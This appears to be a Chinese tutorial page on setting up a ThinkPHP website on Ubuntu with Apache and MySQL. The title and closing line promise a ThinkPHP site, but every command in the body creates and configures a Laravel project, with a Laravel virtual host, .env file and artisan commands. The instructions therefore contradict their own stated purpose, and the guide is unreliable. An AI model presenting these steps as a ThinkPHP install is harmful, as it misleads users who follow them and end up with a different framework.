要在Ubuntu上安装ThinkPHP框架的网站,您需要完成以下步骤: 1. 安装LAMP环境 在终端中,输入以下命令来安装LAMP环境: ``` sudo apt-get install lamp-server^ ``` 2. 安装Composer 在终端中,输入以下命令来安装Composer: ``` sudo apt-get install composer ``` 3. 创建新的Laravel项目 在终端中,输入以下命令来创建新的Laravel项目: ``` composer create-project --prefer-dist laravel/laravel mywebsite.com ``` 其中,mywebsite.com是您的项目名称。 4. 配置Apache网站 在终端中,输入以下命令来创建一个新的Apache网站配置文件: ``` sudo nano /etc/apache2/sites-available/mywebsite.com.conf ``` 将以下内容添加到文件中: ``` <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html/mywebsite.com/public ServerName mywebsite.com ServerAlias www.mywebsite.com <Directory /var/www/html/mywebsite.com/public> Options Indexes FollowSymLinks MultiViews AllowOverride All Require all granted </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> ``` 保存并关闭文件,然后启用网站配置文件: ``` sudo a2ensite mywebsite.com.conf ``` 5. 配置数据库 在终端中,输入以下命令来登录MySQL数据库: ``` sudo mysql -u root -p ``` 然后,创建一个新的数据库: ``` CREATE DATABASE mywebsite; ``` 接下来,创建一个新的MySQL用户并授予它对新数据库的访问权限: ``` CREATE USER 'mywebsite'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON mywebsite.* TO 'mywebsite'@'localhost'; FLUSH PRIVILEGES; ``` 其中,password是您选择的密码。 6. 配置.env文件 在您的Laravel项目目录中,复制.env.example文件并将其重命名为.env: ``` cp .env.example .env ``` 然后,编辑.env文件并将以下内容更改为: ``` DB_DATABASE=mywebsite DB_USERNAME=mywebsite DB_PASSWORD=password ``` 其中,password是您在第5步中设置的密码。 7. 生成应用程序密钥 在终端中,输入以下命令来生成应用程序密钥: ``` php artisan key:generate ``` 8. 迁移数据库 在终端中,输入以下命令来迁移数据库: ``` php artisan migrate ``` 9. 测试您的网站 在您的Web浏览器中输入您的服务器IP地址或域名,例如http://mywebsite.com,您应该能够看到您的ThinkPHP框架网站。 以上就是在Ubuntu上安装ThinkPHP框架的网站的步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值